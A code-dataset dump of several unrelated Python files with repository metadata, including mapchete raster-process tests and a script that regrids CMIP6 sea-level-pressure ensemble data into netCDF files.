rfhub2/db/base.py

Wolfe1/rfhub2

7bc5bd95a5b80f0dec62211bc1771d11d604e01b

[ "Apache-2.0" ]

null

from rfhub2.db.model.base_class import Base from rfhub2.db.model.keyword import Keyword from rfhub2.db.model.collection import Collection

34.5

49

0.847826

22

138

5.272727

0.409091

0.258621

0.310345

0.439655

0

0.02381

0.086957

138

3

50

46

0.896825

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

8

bae81435bf6fa78f67a2883269a6dc6e792840f6

108

py

Python

mudi/ref/__init__.py

getzlab/mudi

eda170119708e59920c23a03834af915ecca24ce

[ "MIT" ]

1

2021-11-04T00:08:00.000Z

mudi/ref/__init__.py

getzlab/mudi

eda170119708e59920c23a03834af915ecca24ce

[ "MIT" ]

null

mudi/ref/__init__.py

getzlab/mudi

eda170119708e59920c23a03834af915ecca24ce

[ "MIT" ]

null

from .markers.immune_markers import IMMUNE_MARKERS from .markers.immune_markers import IMMUNE_BROAD_MARKERS

36

56

0.888889

15

108

6.066667

0.333333

0.428571

0.373626

0.527473

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0

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108

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null

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1

0

1

0

1

0

9

2433889e73ffbecdb96177af6511d3cc22ee8904

8,730

py

Python

test/test_processes.py

Scartography/mapchete

f7d1a74acb4021adfd3053501416d2b974c40af9

[ "MIT" ]

161

2016-02-20T15:18:13.000Z

2022-03-28T11:55:32.000Z

test/test_processes.py

Scartography/mapchete

f7d1a74acb4021adfd3053501416d2b974c40af9

[ "MIT" ]

387

2015-08-12T07:16:56.000Z

2022-03-30T14:27:12.000Z

test/test_processes.py

Scartography/mapchete

f7d1a74acb4021adfd3053501416d2b974c40af9

[ "MIT" ]

20

2016-02-22T12:51:54.000Z

2022-01-30T22:54:08.000Z

"""Test Mapchete commons module.""" import numpy as np import numpy.ma as ma import mapchete from mapchete.processes.examples import example_process from mapchete.processes import contours, convert, hillshade def test_example_process(cleantopo_tl): with mapchete.open(cleantopo_tl.path) as mp: zoom = max(mp.config.zoom_levels) # tile containing data tile = next(mp.get_process_tiles(zoom)) user_process = mapchete.MapcheteProcess( tile=tile, params=mp.config.params_at_zoom(tile.zoom), input=mp.config.get_inputs_for_tile(tile), ) output = example_process.execute(user_process) assert isinstance(output, ma.masked_array) # empty tile tile = mp.config.process_pyramid.tile( zoom, mp.config.process_pyramid.matrix_height(zoom) - 1, mp.config.process_pyramid.matrix_width(zoom) - 1, ) user_process = mapchete.MapcheteProcess( tile=tile, params=mp.config.params_at_zoom(tile.zoom), input=mp.config.get_inputs_for_tile(tile), ) output = example_process.execute(user_process) assert output == "empty" def test_convert_raster(cleantopo_tl, cleantopo_tl_tif, landpoly): with mapchete.open(dict(cleantopo_tl.dict, input=dict(inp=cleantopo_tl_tif))) as mp: zoom = max(mp.config.zoom_levels) # execute without clip tile = next(mp.get_process_tiles(zoom)) user_process = mapchete.MapcheteProcess( tile=tile, params=mp.config.params_at_zoom(tile.zoom), input=mp.config.get_inputs_for_tile(tile), ) assert isinstance(convert.execute(user_process), np.ndarray) # execute on empty tile tile = mp.config.process_pyramid.tile( zoom, mp.config.process_pyramid.matrix_height(zoom) - 1, mp.config.process_pyramid.matrix_width(zoom) - 1, ) user_process = mapchete.MapcheteProcess( tile=tile, params=mp.config.params_at_zoom(tile.zoom), input=mp.config.get_inputs_for_tile(tile), ) assert convert.execute(user_process) == "empty" with mapchete.open( dict(cleantopo_tl.dict, input=dict(inp=cleantopo_tl_tif, clip=landpoly)) ) as mp: zoom = max(mp.config.zoom_levels) tile = next(mp.get_process_tiles(zoom)) user_process = mapchete.MapcheteProcess( tile=tile, params=mp.config.params_at_zoom(tile.zoom), input=mp.config.get_inputs_for_tile(tile), ) # tile with data default = convert.execute(user_process) assert isinstance(default, np.ndarray) # scale_offset offset = convert.execute(user_process, scale_offset=2) assert isinstance(offset, np.ndarray) # scale_ratio ratio = convert.execute(user_process, scale_ratio=0.5) assert isinstance(ratio, np.ndarray) # clip_to_output_dtype clip_dtype = convert.execute( user_process, scale_ratio=2, clip_to_output_dtype="uint8" ) assert isinstance(clip_dtype, np.ndarray) # execute on empty tile tile = mp.config.process_pyramid.tile( zoom, mp.config.process_pyramid.matrix_height(zoom) - 1, mp.config.process_pyramid.matrix_width(zoom) - 1, ) user_process = mapchete.MapcheteProcess( tile=tile, params=mp.config.params_at_zoom(tile.zoom), input=mp.config.get_inputs_for_tile(tile), ) assert convert.execute(user_process) == "empty" def test_convert_vector(cleantopo_tl, landpoly): with mapchete.open(dict(cleantopo_tl.dict, input=dict(inp=landpoly))) as mp: zoom = max(mp.config.zoom_levels) # execute without clip tile = next(mp.get_process_tiles(zoom)) user_process = mapchete.MapcheteProcess( tile=tile, params=mp.config.params_at_zoom(tile.zoom), input=mp.config.get_inputs_for_tile(tile), ) assert isinstance(convert.execute(user_process), list) # execute on empty tile tile = mp.config.process_pyramid.tile( zoom, mp.config.process_pyramid.matrix_height(zoom) - 1, mp.config.process_pyramid.matrix_width(zoom) - 1, ) user_process = mapchete.MapcheteProcess( tile=tile, params=mp.config.params_at_zoom(tile.zoom), input=mp.config.get_inputs_for_tile(tile), ) assert convert.execute(user_process) == "empty" def test_contours(cleantopo_tl, cleantopo_tl_tif, landpoly): with mapchete.open(dict(cleantopo_tl.dict, input=dict(dem=cleantopo_tl_tif))) as mp: zoom = max(mp.config.zoom_levels) # execute without clip tile = next(mp.get_process_tiles(zoom)) user_process = mapchete.MapcheteProcess( tile=tile, params=mp.config.params_at_zoom(tile.zoom), input=mp.config.get_inputs_for_tile(tile), ) output = contours.execute(user_process) assert isinstance(output, list) assert output # execute on empty tile tile = mp.config.process_pyramid.tile( zoom, mp.config.process_pyramid.matrix_height(zoom) - 1, mp.config.process_pyramid.matrix_width(zoom) - 1, ) user_process = mapchete.MapcheteProcess( tile=tile, params=mp.config.params_at_zoom(tile.zoom), input=mp.config.get_inputs_for_tile(tile), ) assert contours.execute(user_process) == "empty" with mapchete.open( dict(cleantopo_tl.dict, input=dict(dem=cleantopo_tl_tif, clip=landpoly)) ) as mp: zoom = max(mp.config.zoom_levels) tile = next(mp.get_process_tiles(zoom)) user_process = mapchete.MapcheteProcess( tile=tile, params=mp.config.params_at_zoom(tile.zoom), input=mp.config.get_inputs_for_tile(tile), ) output = contours.execute(user_process) assert isinstance(output, list) assert output # execute on empty tile tile = mp.config.process_pyramid.tile( zoom, mp.config.process_pyramid.matrix_height(zoom) - 1, mp.config.process_pyramid.matrix_width(zoom) - 1, ) user_process = mapchete.MapcheteProcess( tile=tile, params=mp.config.params_at_zoom(tile.zoom), input=mp.config.get_inputs_for_tile(tile), ) assert contours.execute(user_process) == "empty" def test_hillshade(cleantopo_tl, cleantopo_tl_tif, landpoly): with mapchete.open(dict(cleantopo_tl.dict, input=dict(dem=cleantopo_tl_tif))) as mp: zoom = max(mp.config.zoom_levels) # execute without clip tile = next(mp.get_process_tiles(zoom)) user_process = mapchete.MapcheteProcess( tile=tile, params=mp.config.params_at_zoom(tile.zoom), input=mp.config.get_inputs_for_tile(tile), ) assert isinstance(hillshade.execute(user_process), np.ndarray) # execute on empty tile tile = mp.config.process_pyramid.tile( zoom, mp.config.process_pyramid.matrix_height(zoom) - 1, mp.config.process_pyramid.matrix_width(zoom) - 1, ) user_process = mapchete.MapcheteProcess( tile=tile, params=mp.config.params_at_zoom(tile.zoom), input=mp.config.get_inputs_for_tile(tile), ) assert hillshade.execute(user_process) == "empty" with mapchete.open( dict(cleantopo_tl.dict, input=dict(dem=cleantopo_tl_tif, clip=landpoly)) ) as mp: zoom = max(mp.config.zoom_levels) tile = next(mp.get_process_tiles(zoom)) user_process = mapchete.MapcheteProcess( tile=tile, params=mp.config.params_at_zoom(tile.zoom), input=mp.config.get_inputs_for_tile(tile), ) assert isinstance(hillshade.execute(user_process), np.ndarray) # execute on empty tile tile = mp.config.process_pyramid.tile( zoom, mp.config.process_pyramid.matrix_height(zoom) - 1, mp.config.process_pyramid.matrix_width(zoom) - 1, ) user_process = mapchete.MapcheteProcess( tile=tile, params=mp.config.params_at_zoom(tile.zoom), input=mp.config.get_inputs_for_tile(tile), ) assert hillshade.execute(user_process) == "empty"

38.628319

88

0.632532

1,056

8,730

5.006629

0.071023

0.096841

0.068092

0.099868

0.895026

0.88292

0.86533

0.857575

0

0.003293

0.269416

8,730

225

89

38.8

0.825651

0.041352

0

0.727749

0

0.005391

0

0.109948

1

0.026178

false

0

0.026178

0

0.052356

0

null

0

1

0

1

0

null

0

7

031dec79a79cdfa78e07c35b5092d442704ffacd

163

py

Python

policy_engine/__init__.py

KostasPelelis/DiplomaThesis

5ec2b33f32fa604c69c7d88b3f97c5d2112bb7eb

[ "MIT" ]

null

policy_engine/__init__.py

KostasPelelis/DiplomaThesis

5ec2b33f32fa604c69c7d88b3f97c5d2112bb7eb

[ "MIT" ]

null

policy_engine/__init__.py

KostasPelelis/DiplomaThesis

5ec2b33f32fa604c69c7d88b3f97c5d2112bb7eb

[ "MIT" ]

null

__version__ = '0.0.1' from policy_engine.policy_engine import PolicyEngine from policy_engine.policy import Policy from logger import init_logging init_logging()

23.285714

52

0.840491

24

163

5.333333

0.458333

0.28125

0.25

0.34375

0

0.020548

0.104294

163

7

53

23.285714

0.856164

0

0.030488

0

1

0

false

0

0.6

0

0.6

0

1

0

null

1

0

1

0

null

0

1

0

1

0

7

0686ed284a528477bb678e37b50ff259f541af52

206

py

Python

copycat/data_pipelines/assemblers/__init__.py

stungkit/Copycat-abstractive-opinion-summarizer

04fe5393a7bb6883516766b762f6a0c530e95375

[ "MIT" ]

51

2020-09-25T07:05:01.000Z

2022-03-17T12:07:40.000Z

copycat/data_pipelines/assemblers/__init__.py

stungkit/Copycat-abstractive-opinion-summarizer

04fe5393a7bb6883516766b762f6a0c530e95375

[ "MIT" ]

4

2020-10-19T10:00:22.000Z

2022-03-14T17:02:47.000Z

copycat/data_pipelines/assemblers/__init__.py

stungkit/Copycat-abstractive-opinion-summarizer

04fe5393a7bb6883516766b762f6a0c530e95375

[ "MIT" ]

22

2020-09-22T01:06:47.000Z

2022-01-26T14:20:09.000Z

from .train_pipeline import assemble_train_pipeline from .eval_pipeline import assemble_eval_pipeline from .infer_pipeline import assemble_infer_pipeline from .vocab_pipeline import assemble_vocab_pipeline

41.2

51

0.902913

28

206

6.214286

0.285714

0.321839

0.505747

0

0.07767

206

4

52

51.5

0.915789

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

7

068ca0072816a116c009c72316160a7b08a9b575

33,054

py

Python

psl_extraction.py

ubbu36/CMIP6_pacific_analysis

b348142f76d3d5e76bd3908235495adf564d6756

[ "MIT" ]

4

2021-08-02T02:21:52.000Z

2022-01-29T04:00:40.000Z

psl_extraction.py

ubbu36/CMIP6_pacific_analysis

b348142f76d3d5e76bd3908235495adf564d6756

[ "MIT" ]

null

psl_extraction.py

ubbu36/CMIP6_pacific_analysis

b348142f76d3d5e76bd3908235495adf564d6756

[ "MIT" ]

1

2021-08-02T02:21:40.000Z

#!/usr/bin/env python3 # -*- coding: utf-8 -*- #!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Wed Jul 29 12:33:20 2020 @author: ullaheede """ # module import import matplotlib.pyplot as plt import cartopy.crs as ccrs import numpy as np import xarray as xr import xesmf as xe import pandas as pd def regrid_anomaly(forcing,a): #control # uas_control= control['uas'] # uas_control= control['U'] #4xCO2 uas_4xCO2=forcing['psl'] # uas_4xCO2=forcing['U'] # control_timemean=uas_control.mean("time") uas_4xCO2_anom=uas_4xCO2#-control_timemean #uas_4xCO2_anom_an=uas_4xCO2_anom uas_4xCO2_anom_an=uas_4xCO2_anom.groupby('time.year').mean('time') ds_out = xr.Dataset({'lat': (['lat'], np.arange(-90, 90, 1.0)), 'lon': (['lon'], np.arange(0, 359, 1)), } ) regridder = xe.Regridder(uas_4xCO2_anom_an, ds_out, 'bilinear') uas_regrid = regridder(uas_4xCO2_anom_an) return uas_regrid #%% # forcing = xr.open_dataset('/Volumes/Armor_CMIP6/CMIP6_project/PSL_historical/psl_Amon_ACCESS-ESM1-5_historical_r1i1p1f1_gn_185001-201412.nc') # a=int(forcing.sizes['time']/12) # output=regrid_anomaly(forcing,a) # mylist=output forcing = xr.open_dataset('/Volumes/Armor_CMIP6/CMIP6_project/PSL_historical/psl_Amon_ACCESS-ESM1-5_historical_r2i1p1f1_gn_185001-201412.nc') a=int(forcing.sizes['time']/12) output=regrid_anomaly(forcing,a) mylist=output forcing = xr.open_dataset('/Volumes/Armor_CMIP6/CMIP6_project/PSL_historical/psl_Amon_ACCESS-ESM1-5_historical_r10i1p1f1_gn_185001-201412.nc') a=int(forcing.sizes['time']/12) output=regrid_anomaly(forcing,a) mylist=xr.concat([mylist,output], 'ens_member') # forcing = xr.open_dataset('/Volumes/Armor_CMIP6/CMIP6_project/WIND_historical/uas_Amon_ACCESS-ESM1-5_historical_r10i1p1f1_gn_185001-201412.nc') # a=int(forcing.sizes['time']/12) # output=regrid_anomaly(forcing,a) # mylist=xr.concat([mylist,output], 'ens_member') ens_number=['r1','r2'] mylist=mylist.assign_coords(ens_member=ens_number) mylist.to_netcdf('/Volumes/Armor_CMIP6/psl_historical_ACCESS-ESM1-5.nc') ####################### forcing = xr.open_dataset('/Volumes/Armor_CMIP6/CMIP6_project/PSL_historical/psl_Amon_ACCESS-ESM1-5_hist-GHG_r1i1p1f1_gn_185001-202012.nc') a=int(forcing.sizes['time']/12) output=regrid_anomaly(forcing,a) mylist=output forcing = xr.open_dataset('/Volumes/Armor_CMIP6/CMIP6_project/PSL_historical/psl_Amon_ACCESS-ESM1-5_hist-GHG_r2i1p1f1_gn_185001-202012.nc') a=int(forcing.sizes['time']/12) output=regrid_anomaly(forcing,a) mylist=xr.concat([mylist,output], 'ens_member') # forcing = xr.open_dataset('/Volumes/Armor_CMIP6/CMIP6_project/WIND_historical/uas_Amon_ACCESS-ESM1-5_historical_r10i1p1f1_gn_185001-201412.nc') # a=int(forcing.sizes['time']/12) # output=regrid_anomaly(forcing,a) # mylist=xr.concat([mylist,output], 'ens_member') ens_number=['r1','r2'] mylist=mylist.assign_coords(ens_member=ens_number) mylist.to_netcdf('/Volumes/Armor_CMIP6/psl_GHGonly_ACCESS-ESM1-5.nc') ####################### forcing = xr.open_dataset('/Volumes/Armor_CMIP6/CMIP6_project/PSL_historical/psl_Amon_ACCESS-ESM1-5_hist-aer_r3i1p1f1_gn_185001-202012.nc') a=int(forcing.sizes['time']/12) output=regrid_anomaly(forcing,a) mylist=output mylist=xr.concat([output], 'ens_member') ens_number=['r1'] mylist=mylist.assign_coords(ens_member=ens_number) mylist.to_netcdf('/Volumes/Armor_CMIP6/psl_aer_GFDL-ESM4.nc') #%% forcing = xr.open_dataset('/Volumes/Armor_CMIP6/CMIP6_project/PSL_historical/psl_Amon_BCC-CSM2-MR_historical_r1i1p1f1_gn_185001-201412.nc') a=int(forcing.sizes['time']/12) output=regrid_anomaly(forcing,a) mylist=output forcing = xr.open_dataset('/Volumes/Armor_CMIP6/CMIP6_project/PSL_historical/psl_Amon_BCC-CSM2-MR_historical_r2i1p1f1_gn_185001-201412.nc') a=int(forcing.sizes['time']/12) output=regrid_anomaly(forcing,a) mylist=xr.concat([mylist,output], 'ens_member') forcing = xr.open_dataset('/Volumes/Armor_CMIP6/CMIP6_project/PSL_historical/psl_Amon_BCC-CSM2-MR_historical_r3i1p1f1_gn_185001-201412.nc') a=int(forcing.sizes['time']/12) output=regrid_anomaly(forcing,a) mylist=xr.concat([mylist,output], 'ens_member') ens_number=['r1','r2','r3'] mylist=mylist.assign_coords(ens_member=ens_number) mylist.to_netcdf('/Volumes/Armor_CMIP6/psl_historical_BCC-CSM2-MR.nc') ####################### forcing = xr.open_dataset('/Volumes/Armor_CMIP6/CMIP6_project/PSL_historical/psl_Amon_BCC-CSM2-MR_hist-GHG_r1i1p1f1_gn_185001-202012.nc') a=int(forcing.sizes['time']/12) output=regrid_anomaly(forcing,a) mylist=output forcing = xr.open_dataset('/Volumes/Armor_CMIP6/CMIP6_project/PSL_historical/psl_Amon_BCC-CSM2-MR_hist-GHG_r2i1p1f1_gn_185001-202012.nc') a=int(forcing.sizes['time']/12) output=regrid_anomaly(forcing,a) mylist=xr.concat([mylist,output], 'ens_member') forcing = xr.open_dataset('/Volumes/Armor_CMIP6/CMIP6_project/PSL_historical/psl_Amon_BCC-CSM2-MR_hist-GHG_r3i1p1f1_gn_185001-202012.nc') a=int(forcing.sizes['time']/12) output=regrid_anomaly(forcing,a) mylist=xr.concat([mylist,output], 'ens_member') ens_number=['r1','r2','r3'] mylist=mylist.assign_coords(ens_member=ens_number) mylist.to_netcdf('/Volumes/Armor_CMIP6/psl_GHGonly_BCC-CSM2-MR.nc') ####################### forcing = xr.open_dataset('/Volumes/Armor_CMIP6/CMIP6_project/PSL_historical/psl_Amon_BCC-CSM2-MR_hist-aer_r1i1p1f1_gn_185001-202012.nc') a=int(forcing.sizes['time']/12) output=regrid_anomaly(forcing,a) mylist=output forcing = xr.open_dataset('/Volumes/Armor_CMIP6/CMIP6_project/PSL_historical/psl_Amon_BCC-CSM2-MR_hist-aer_r2i1p1f1_gn_185001-202012.nc') a=int(forcing.sizes['time']/12) output=regrid_anomaly(forcing,a) mylist=xr.concat([mylist,output], 'ens_member') forcing = xr.open_dataset('/Volumes/Armor_CMIP6/CMIP6_project/PSL_historical/psl_Amon_BCC-CSM2-MR_hist-aer_r2i1p1f1_gn_185001-202012.nc') a=int(forcing.sizes['time']/12) output=regrid_anomaly(forcing,a) mylist=xr.concat([mylist,output], 'ens_member') ens_number=['r1','r2','r3'] mylist=mylist.assign_coords(ens_member=ens_number) mylist.to_netcdf('/Volumes/Armor_CMIP6/psl_aer_BCC-CSM2-MR.nc') #%% forcing = xr.open_dataset('/Volumes/Armor_CMIP6/CMIP6_project/PSL_historical/psl_Amon_CanESM5_historical_r7i1p2f1_gn_185001-201412.nc') a=int(forcing.sizes['time']/12) output=regrid_anomaly(forcing,a) mylist=output forcing = xr.open_dataset('/Volumes/Armor_CMIP6/CMIP6_project/PSL_historical/psl_Amon_CanESM5_historical_r8i1p2f1_gn_185001-201412.nc') a=int(forcing.sizes['time']/12) output=regrid_anomaly(forcing,a) mylist=xr.concat([mylist,output], 'ens_member') forcing = xr.open_dataset('/Volumes/Armor_CMIP6/CMIP6_project/PSL_historical/psl_Amon_CanESM5_historical_r10i1p2f1_gn_185001-201412.nc') a=int(forcing.sizes['time']/12) output=regrid_anomaly(forcing,a) mylist=xr.concat([mylist,output], 'ens_member') ens_number=['r1','r2','r3'] mylist=mylist.assign_coords(ens_member=ens_number) mylist.to_netcdf('/Volumes/Armor_CMIP6/psl_historical_CanESM5.nc') ####################### forcing = xr.open_dataset('/Volumes/Armor_CMIP6/CMIP6_project/PSL_historical/psl_Amon_CanESM5_hist-GHG_r3i1p1f1_gn_185001-202012.nc') a=int(forcing.sizes['time']/12) output=regrid_anomaly(forcing,a) mylist=output forcing = xr.open_dataset('/Volumes/Armor_CMIP6/CMIP6_project/PSL_historical/psl_Amon_CanESM5_hist-GHG_r5i1p1f1_gn_185001-202012.nc') a=int(forcing.sizes['time']/12) output=regrid_anomaly(forcing,a) mylist=xr.concat([mylist,output], 'ens_member') forcing = xr.open_dataset('/Volumes/Armor_CMIP6/CMIP6_project/PSL_historical/psl_Amon_CanESM5_hist-GHG_r6i1p1f1_gn_185001-202012.nc') a=int(forcing.sizes['time']/12) output=regrid_anomaly(forcing,a) mylist=xr.concat([mylist,output], 'ens_member') ens_number=['r1','r2','r3'] mylist=mylist.assign_coords(ens_member=ens_number) mylist.to_netcdf('/Volumes/Armor_CMIP6/psl_GHGonly_CanESM5.nc') ####################### forcing = xr.open_dataset('/Volumes/Armor_CMIP6/CMIP6_project/PSL_historical/psl_Amon_CanESM5_hist-aer_r3i1p1f1_gn_185001-202012.nc') a=int(forcing.sizes['time']/12) output=regrid_anomaly(forcing,a) mylist=output forcing = xr.open_dataset('/Volumes/Armor_CMIP6/CMIP6_project/PSL_historical/psl_Amon_CanESM5_hist-aer_r4i1p1f1_gn_185001-202012.nc') a=int(forcing.sizes['time']/12) output=regrid_anomaly(forcing,a) mylist=xr.concat([mylist,output], 'ens_member') forcing = xr.open_dataset('/Volumes/Armor_CMIP6/CMIP6_project/PSL_historical/psl_Amon_CanESM5_hist-aer_r10i1p1f1_gn_185001-202012.nc') a=int(forcing.sizes['time']/12) output=regrid_anomaly(forcing,a) mylist=xr.concat([mylist,output], 'ens_member') ens_number=['r1','r2','r3'] mylist=mylist.assign_coords(ens_member=ens_number) mylist.to_netcdf('/Volumes/Armor_CMIP6/psl_aer_CanESM5.nc') #%% forcing = xr.open_dataset('/Volumes/Armor_CMIP6/CMIP6_project/PSL_historical/psl_Amon_CESM2_historical_r1i1p1f1_gn_185001-201412.nc') a=int(forcing.sizes['time']/12) output=regrid_anomaly(forcing,a) mylist=output forcing = xr.open_dataset('/Volumes/Armor_CMIP6/CMIP6_project/PSL_historical/psl_Amon_CESM2_historical_r2i1p1f1_gn_185001-201412.nc') a=int(forcing.sizes['time']/12) output=regrid_anomaly(forcing,a) mylist=xr.concat([mylist,output], 'ens_member') forcing = xr.open_dataset('/Volumes/Armor_CMIP6/CMIP6_project/PSL_historical/psl_Amon_CESM2_historical_r3i1p1f1_gn_185001-201412.nc') a=int(forcing.sizes['time']/12) output=regrid_anomaly(forcing,a) mylist=xr.concat([mylist,output], 'ens_member') ens_number=['r1','r2','r3'] mylist=mylist.assign_coords(ens_member=ens_number) mylist.to_netcdf('/Volumes/Armor_CMIP6/psl_historical_CESM2.nc') ####################### forcing=xr.open_mfdataset('/Volumes/Armor_CMIP6/CMIP6_project/PSL_historical/psl_Amon_CESM2_hist-GHG_r1i1p1f1_gn_*.nc', concat_dim="time", data_vars='minimal', coords='minimal', compat='override') a=int(forcing.sizes['time']/12) output=regrid_anomaly(forcing,a) mylist=output forcing=xr.open_mfdataset('/Volumes/Armor_CMIP6/CMIP6_project/PSL_historical/psl_Amon_CESM2_hist-GHG_r2i1p1f1_gn_*.nc', concat_dim="time", data_vars='minimal', coords='minimal', compat='override') a=int(forcing.sizes['time']/12) output=regrid_anomaly(forcing,a) mylist=xr.concat([mylist,output], 'ens_member') forcing=xr.open_mfdataset('/Volumes/Armor_CMIP6/CMIP6_project/PSL_historical/psl_Amon_CESM2_hist-GHG_r3i1p1f1_gn_*.nc', concat_dim="time", data_vars='minimal', coords='minimal', compat='override') a=int(forcing.sizes['time']/12) output=regrid_anomaly(forcing,a) mylist=xr.concat([mylist,output], 'ens_member') ens_number=['r1','r2','r3'] mylist=mylist.assign_coords(ens_member=ens_number) mylist.to_netcdf('/Volumes/Armor_CMIP6/psl_GHGonly_CESM2.nc') ####################### forcing=xr.open_mfdataset('/Volumes/Armor_CMIP6/CMIP6_project/PSL_historical/psl_Amon_CESM2_hist-aer_r1i1p1f1_gn_*.nc', concat_dim="time", data_vars='minimal', coords='minimal', compat='override') a=int(forcing.sizes['time']/12) output=regrid_anomaly(forcing,a) mylist=output forcing=xr.open_mfdataset('/Volumes/Armor_CMIP6/CMIP6_project/PSL_historical/psl_Amon_CESM2_hist-aer_r3i1p1f1_gn_*.nc', concat_dim="time", data_vars='minimal', coords='minimal', compat='override') a=int(forcing.sizes['time']/12) output=regrid_anomaly(forcing,a) mylist=xr.concat([mylist,output], 'ens_member') ens_number=['r1','r2'] mylist=mylist.assign_coords(ens_member=ens_number) mylist.to_netcdf('/Volumes/Armor_CMIP6/psl_aer_CESM2.nc') #%% forcing = xr.open_dataset('/Volumes/Armor_CMIP6/CMIP6_project/PSL_historical/psl_Amon_CNRM-CM6-1_historical_r1i1p1f2_gr_185001-201412.nc') a=int(forcing.sizes['time']/12) output=regrid_anomaly(forcing,a) mylist=output forcing = xr.open_dataset('/Volumes/Armor_CMIP6/CMIP6_project/PSL_historical/psl_Amon_CNRM-CM6-1_historical_r2i1p1f2_gr_185001-201412.nc') a=int(forcing.sizes['time']/12) output=regrid_anomaly(forcing,a) mylist=xr.concat([mylist,output], 'ens_member') forcing = xr.open_dataset('/Volumes/Armor_CMIP6/CMIP6_project/PSL_historical/psl_Amon_CNRM-CM6-1_historical_r3i1p1f2_gr_185001-201412.nc') a=int(forcing.sizes['time']/12) output=regrid_anomaly(forcing,a) mylist=xr.concat([mylist,output], 'ens_member') ens_number=['r1','r2','r3'] mylist=mylist.assign_coords(ens_member=ens_number) mylist.to_netcdf('/Volumes/Armor_CMIP6/psl_historical_CNRM-CM6-1.nc') ####################### forcing = xr.open_dataset('/Volumes/Armor_CMIP6/CMIP6_project/PSL_historical/psl_Amon_CNRM-CM6-1_hist-GHG_r1i1p1f2_gr_185001-202012.nc') a=int(forcing.sizes['time']/12) output=regrid_anomaly(forcing,a) mylist=output forcing = xr.open_dataset('//Volumes/Armor_CMIP6/CMIP6_project/PSL_historical/psl_Amon_CNRM-CM6-1_hist-GHG_r4i1p1f2_gr_185001-202012.nc') a=int(forcing.sizes['time']/12) output=regrid_anomaly(forcing,a) mylist=xr.concat([mylist,output], 'ens_member') forcing = xr.open_dataset('/Volumes/Armor_CMIP6/CMIP6_project/PSL_historical/psl_Amon_CNRM-CM6-1_hist-GHG_r5i1p1f2_gr_185001-202012.nc') a=int(forcing.sizes['time']/12) output=regrid_anomaly(forcing,a) mylist=xr.concat([mylist,output], 'ens_member') ens_number=['r1','r2','r3'] mylist=mylist.assign_coords(ens_member=ens_number) mylist.to_netcdf('/Volumes/Armor_CMIP6/psl_GHGonly_CNRM-CM6-1.nc') ####################### forcing = xr.open_dataset('/Volumes/Armor_CMIP6/CMIP6_project/PSL_historical/psl_Amon_CNRM-CM6-1_hist-aer_r1i1p1f2_gr_185001-202012.nc') a=int(forcing.sizes['time']/12) output=regrid_anomaly(forcing,a) mylist=output forcing = xr.open_dataset('/Volumes/Armor_CMIP6/CMIP6_project/PSL_historical/psl_Amon_CNRM-CM6-1_hist-aer_r2i1p1f2_gr_185001-202012.nc') a=int(forcing.sizes['time']/12) output=regrid_anomaly(forcing,a) mylist=xr.concat([mylist,output], 'ens_member') forcing = xr.open_dataset('/Volumes/Armor_CMIP6/CMIP6_project/PSL_historical/psl_Amon_CNRM-CM6-1_hist-aer_r3i1p1f2_gr_185001-202012.nc') a=int(forcing.sizes['time']/12) output=regrid_anomaly(forcing,a) mylist=xr.concat([mylist,output], 'ens_member') ens_number=['r1','r2','r3'] mylist=mylist.assign_coords(ens_member=ens_number) mylist.to_netcdf('/Volumes/Armor_CMIP6/psl_aer_CNRM-CM6-1.nc') #%% forcing=xr.open_mfdataset('//Volumes/Armor_CMIP6/CMIP6_project/PSL_historical/psl_Amon_FGOALS-g3_historical_r1i1p1f1_gn_*.nc', concat_dim="time", data_vars='minimal', coords='minimal', compat='override') a=int(forcing.sizes['time']/12) output=regrid_anomaly(forcing,a) mylist=output # forcing = xr.open_dataset('/Volumes/Armor_CMIP6/CMIP6_project/WIND_historical/uas_Amon_ACCESS-ESM1-5_historical_r10i1p1f1_gn_185001-201412.nc') # a=int(forcing.sizes['time']/12) # output=regrid_anomaly(forcing,a) # mylist=xr.concat([mylist,output], 'ens_member') mylist=xr.concat([output], 'ens_member') ens_number=['r1'] mylist=mylist.assign_coords(ens_member=ens_number) mylist.to_netcdf('/Volumes/Armor_CMIP6/psl_historical_FGOALS.nc') ####################### forcing=xr.open_mfdataset('/Volumes/Armor_CMIP6/CMIP6_project/PSL_historical/psl_Amon_FGOALS-g3_hist-GHG_r1i1p1f1_gn_*.nc', concat_dim="time", data_vars='minimal', coords='minimal', compat='override') a=int(forcing.sizes['time']/12) output=regrid_anomaly(forcing,a) mylist=output # forcing = xr.open_dataset('/Volumes/Armor_CMIP6/CMIP6_project/WIND_historical/uas_Amon_ACCESS-ESM1-5_historical_r10i1p1f1_gn_185001-201412.nc') # a=int(forcing.sizes['time']/12) # output=regrid_anomaly(forcing,a) # mylist=xr.concat([mylist,output], 'ens_member') mylist=xr.concat([output], 'ens_member') ens_number=['r1'] mylist=mylist.assign_coords(ens_member=ens_number) mylist.to_netcdf('/Volumes/Armor_CMIP6/psl_GHGonly_FGOALS.nc') ####################### forcing=xr.open_mfdataset('/Volumes/Armor_CMIP6/CMIP6_project/PSL_historical/psl_Amon_FGOALS-g3_hist-aer_r1i1p1f1_gn_*.nc', concat_dim="time", data_vars='minimal', coords='minimal', compat='override') a=int(forcing.sizes['time']/12) output=regrid_anomaly(forcing,a) mylist=output # forcing = xr.open_dataset('/Volumes/Armor_CMIP6/CMIP6_project/WIND_historical/uas_Amon_ACCESS-ESM1-5_historical_r10i1p1f1_gn_185001-201412.nc') # a=int(forcing.sizes['time']/12) # output=regrid_anomaly(forcing,a) # mylist=xr.concat([mylist,output], 'ens_member') mylist=xr.concat([output], 'ens_member') ens_number=['r1'] mylist=mylist.assign_coords(ens_member=ens_number) mylist.to_netcdf('/Volumes/Armor_CMIP6/psl_aer_FGOALS.nc') #%% forcing = xr.open_mfdataset('/Volumes/Armor_CMIP6/CMIP6_project/PSL_historical/psl_Amon_GFDL-ESM4_historical_r1i1p1f1_gr1_*.nc', concat_dim="time", data_vars='minimal', coords='minimal', compat='override') a=int(forcing.sizes['time']/12) output=regrid_anomaly(forcing,a) mylist=output forcing = xr.open_mfdataset('/Volumes/Armor_CMIP6/CMIP6_project/PSL_historical/psl_Amon_GFDL-ESM4_historical_r2i1p1f1_gr1_185001-194912.nc', concat_dim="time", data_vars='minimal', coords='minimal', compat='override') a=int(forcing.sizes['time']/12) output=regrid_anomaly(forcing,a) mylist=xr.concat([mylist,output], 'ens_member') ens_number=['r1','r2'] mylist=mylist.assign_coords(ens_member=ens_number) 